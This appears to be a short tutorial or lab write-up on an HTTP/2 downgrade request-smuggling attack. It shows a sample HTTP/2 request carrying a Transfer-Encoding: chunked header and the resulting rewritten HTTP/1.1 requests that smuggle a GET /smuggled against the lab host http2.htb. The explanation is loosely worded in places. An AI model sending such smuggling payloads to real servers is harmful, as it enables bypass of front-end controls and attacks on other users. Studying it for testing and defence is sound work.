## H2TE Downgrade Attack

This attack targets the HTTP/2 protocol as well but happens when the TE headers is sent thru a request, and it will create a mismatch as we know that chunked mode is not supported by HTTP/2 and it shouldn’t be shipped with.

### Exploit Time

What if we send the following payload to a frontend that supports HTTP/2 protocol (red are the headers names, green its values and yellow the body payload of the smuggled request):

:method POST

:path /

:authority http2.htb

:scheme http

transfer-encoding chunked

0

GET /smuggled HTTP/1.1

Host: http2.htb

In this case if the fronted fails to reject the request with a TE(chunked header) then it will rollback to a HTTP/1 that will be wrongly rewritten by using the chunked mode and result in a disconnect attack.

Resulting to a rewrite into 2 requests where the first will be trunked and the second will be sent to the backend for execution:

POST / HTTP/1.1

Host: http2.htb

Transfer-Encoding: chunked

Content-Length: 48

0

GET /smuggled HTTP/1.1

Host: http2.htb

**OBS: In this case the TE comes before the CL and will have priority!**